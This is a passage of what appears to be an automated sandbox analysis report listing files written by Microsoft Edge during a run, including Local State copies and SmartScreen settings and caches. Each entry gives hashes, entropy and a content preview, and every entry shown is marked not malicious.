C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c583.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c62f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c7c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ee2a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d86a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090765241452437
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEK6etbz8hu3VlXr4CRo1
MD5:	0EB3C52D8276C0C5395886C0468E3497
SHA1:	983532F9BE0C5BC394B8A4967B8BC35D498E695A
SHA-256:	0FA1EE3E870BAA2560C7299FB1A83B5EA5001C452639F70EA1178C32ABEE7924
SHA-512:	F3FF702EE9C3A374168EC9FC0460DE362296080A396714F4E7F504DA9CFD9EB2922AB7164F3B4933E4E8EDA8C0FA4543ED72BD9BD21A81A3FACE92A0F3F2F1B8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.014683326093359
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAci8QSew9YVn:YWLSGTt1o9LuLgfGBPAzkVj/T8cSerVn
MD5:	4E687F1AB72B51479231BABE15B0B379
SHA1:	7DA6BCD3A2E09FA90061E05F1E4F376222339976
